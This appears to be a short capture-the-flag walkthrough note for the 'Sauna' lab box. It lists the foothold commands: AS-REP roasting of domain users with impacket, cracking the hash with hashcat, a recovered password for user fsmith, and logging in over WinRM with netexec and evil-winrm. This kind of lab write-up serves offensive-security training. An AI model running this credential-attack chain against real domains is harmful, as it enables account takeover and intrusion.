Foothold

for user in $(cat users.txt); do impacket-GetNPUsers EGOTISTICAL-BANK.local/$user -dc-ip sauna -format hashcat; done

fsmith

hashcat -m 18200 fsmith.hash ~/rockyou.txt -O

fsmith:Thestrokes23

netexec winrm sauna -u 'fsmith' -p 'Thestrokes23' 

evil-winrm -i sauna -u fsmith -p 'Thestrokes23' -s ~/opt/wpe